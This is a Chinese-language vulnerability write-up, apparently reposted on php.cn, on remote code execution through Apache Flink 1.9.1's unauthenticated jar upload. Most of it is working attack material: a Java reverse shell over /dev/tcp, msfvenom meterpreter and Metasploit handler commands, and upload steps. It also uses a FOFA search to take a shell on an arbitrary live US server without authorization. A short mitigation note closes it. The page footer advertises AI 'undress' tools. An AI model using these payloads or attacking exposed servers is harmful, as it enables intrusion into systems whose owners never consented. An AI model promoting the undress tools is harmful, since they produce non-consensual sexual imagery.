目錄
環境建置:
首頁 運維 安全 apache flink任意jar包上傳導致遠端程式碼執行的範例分析

apache flink任意jar包上傳導致遠端程式碼執行的範例分析

May 15, 2023 pm 01:01 PM
flink jar包

漏洞描述:

2019年11月11號,安全工程師Henry Chen揭露了一個Apache Flink未授權上傳jar包導致遠端程式碼執行的漏洞。由於Apache Flink Dashboard 預設無需認證即可存取,透過上傳惡意jar包並觸發惡意程式碼執行,從而獲取shell。

影響範圍

<= 1.9.1(最新版本)

環境建置:

(1) 提前安裝好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下載flink-1.9.1

下載網址:https://www.apache.org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解壓縮下載的壓縮套件:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
登入後複製

( 4) 進去到解壓縮後的目錄中,來到其bin目錄下:

apache flink任意jar包上传导致远程代码执行的示例分析

#(5) 啟動flink:

./start-cluster.sh
登入後複製

(6) 瀏覽器存取驗證(預設連接埠為8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##出現上圖即建置成功.

(7) 設定開機自啟動(這裡折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟後並不會啟動flink,最後找到了解決方法)

apache flink任意jar包上传导致远程代码执行的示例分析

開機自啟動設定

漏洞1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell


記得修改ip與連接埠:

apache flink任意jar包上传导致远程代码执行的示例分析

程式碼:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687517911.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>#b.然後選擇java-->Runnable JAR file<p></p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>c.然後選擇對應的java專案和匯出路徑以及匯出檔案名稱<p></p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>圖片<p></p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"> #這樣就產生了一個反彈shell的jar包</p>
<p>msf生成jar馬:</p>
<p>(1) 利用msfvenom來產生一個jar馬:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
登入後複製

(2) 打開msf的監聽模組,並監聽9999埠(要與我們jar馬設定的埠一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
登入後複製

(3) 上傳我們產生的jar馬並提交後(這部分操作參考下面的複現),可以看到我們成功接收到shell:


apache flink任意jar包上传导致远程代码执行的示例分析

#本地復現:

apache flink任意jar包上传导致远程代码执行的示例分析(1) 訪問目標:

(2) 點選Submit New job,開啟上傳jar套件的頁面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3)點擊Add New選擇我們製作好的jar套件:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我們的機器上監聽好埠(我們製作的jar套件是直接反彈shell的)

apache flink任意jar包上传导致远程代码执行的示例分析(5) 點擊我們剛剛上傳的jar套件:

(6) 然後點擊Submit即可,可以看到我們已經成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

網路網站:

apache flink任意jar包上传导致远程代码执行的示例分析fofa關鍵字:

"apache-flink-dashboard" && country="US"

#

(1) 隨便找一個目標:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar套件

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) 利用flink上傳jar包的功能將我們的jar包上傳:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上傳後,我們在我們的vps上監聽好端口

(5) 然後回到瀏覽器,選中我們剛剛上傳的jar包,然後點擊Submitting提交,可以看到我們的vps已經成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

#漏洞修復:

建議設定防火牆策略,僅允許白名單ip存取apache flink服務,並在Web代理(如apache httpd)中增加對該服務的digest認證。

隨時關注官網,等待新版本或補丁更新

以上是apache flink任意jar包上傳導致遠端程式碼執行的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1666
14
CakePHP 教程
1425
52
Laravel 教程
1325
25
PHP教程
1272
29
C# 教程
1251
24
eclipse如何導入jar包 eclipse如何導入jar包 Jan 12, 2024 pm 03:45 PM

eclipse匯入jar包的方法:1、建立一個新的Java專案;2、建立庫資料夾;3、將jar包複製到庫資料夾;4、設定專案建置路徑;5、新增jar包到建置路徑;6、配置專案建置路徑;7、驗證導​​入結果;8、注意事項;9、其他導入方法;10、清理和更新;11、維護和更新庫。詳細介紹:1、建立一個新的Java項目,啟動Eclipse IDE,頂部功能表列中選擇「File」選單等等。

maven怎麼導入jar包 maven怎麼導入jar包 Jan 08, 2024 pm 01:59 PM

maven導入jar包的步驟:1、下載jar包;2、建立Maven專案;3、新增依賴;4、新增dependency元素;5、儲存pom.xml檔;6、建置專案;7、驗證導​​入。詳細介紹:1、下載jar包,先從相關網站或原始碼倉庫下載所需的jar包,確保下載的jar包與你的項目相容,並符合所需的版本要求;2、創建Maven項目,如果還沒有Maven項目,需要先建立一個等等。

在Go語言中使用Flink實現高效率的資料流處理 在Go語言中使用Flink實現高效率的資料流處理 Jun 15, 2023 pm 09:10 PM

隨著大數據時代的來臨,數據處理成為了各個產業都需要關注和解決的問題。而作為一種高效能的資料處理工具,Flink的出現為我們提供了一個高效、可靠、可擴展的解決方案。在本文中,我們將介紹如何在Go語言中使用Flink實現高效率的資料流處理。一、Flink簡介ApacheFlink是一個開源的分散式資料處理平台,它的目標是提供一種高效、可靠、可擴展的處理大規模數據

Spark Streaming與Flink的對比 Spark Streaming與Flink的對比 Apr 19, 2024 pm 12:51 PM

SparkStreaming和Flink都是串流處理框架,具有不同的功能:程式設計模型:SparkStreaming基於SparkRDD模型,而Flink擁有自己的串流處理API。狀態管理:Flink內建狀態管理,而SparkStreaming需要外部解決方案。容錯性:Flink基於快照,而SparkStreaming基於檢查點。擴展性:Flink基於流操作符鏈,而SparkStreaming基於叢集擴展。在即時資料聚合用例中,Flink通常效能優於SparkStreaming,因為它提供了更好的吞吐

Maven進階教學:深入探索Jar套件導入的各種方法 Maven進階教學:深入探索Jar套件導入的各種方法 Feb 23, 2024 pm 02:57 PM

標題:Maven進階教學:深入探索Jar套件導入的各種方法Maven作為Java專案管理工具,廣泛應用於專案的建置、依賴管理等方面。在實際開發過程中,我們常常會用到各種第三方函式庫的Jar包,而如何有效地導入Jar包成為了一個必須掌握的技能。本文將深入探討Maven中導入Jar包的方法,包括使用本地Jar包、遠端倉庫Jar包以及自訂Jar包等多種方式,並給出具體

MySQL的Jar包使用指南及注意事項 MySQL的Jar包使用指南及注意事項 Mar 01, 2024 pm 04:21 PM

MySQL的Jar套件使用指南及注意事項MySQL是一種常用的關聯式資料庫管理系統,許多Java專案都會使用MySQL作為資料儲存的後端。在Java專案中,要與MySQL資料庫進行交互,就需要使用MySQL提供的Java驅動程式(即Jar套件)。本文將介紹MySQL的Jar套件的使用指南及注意事項,並提供具體的程式碼範例,幫助讀者更好地使用MySQL驅動程式。一、M

指導如何正確導入Jar包至Maven項目 指導如何正確導入Jar包至Maven項目 Feb 19, 2024 pm 12:00 PM

Maven入門指南:如何正確匯入Jar套件? Maven是一個強大的專案管理工具,能夠幫助開發人員管理專案依賴、建置專案等。在專案開發中,我們經常需要導入外部的Jar包來實現一些功能。本文將介紹如何使用Maven來正確導入Jar包,並提供具體的程式碼範例。首先,我們需要在Maven的pom.xml檔中加入對所需Jar包的依賴。在pom.xml中,有一個

在Beego中使用Kafka和Flink進行即時串流處理 在Beego中使用Kafka和Flink進行即時串流處理 Jun 22, 2023 pm 04:18 PM

隨著大數據時代的到來,我們往往需要對即時數據進行處理和分析。而即時串流處理技術以其高效能、​​高可擴展性和低延遲特性成為了處理大規模即時資料的主流方法。在即時串流處理技術中,Kafka和Flink作為常見的元件,已廣泛應用於眾多企業級的資料處理系統中。在本文中,將介紹如何在Beego中使用Kafka和Flink進行即時串流處理。一、Kafka簡介

See all articles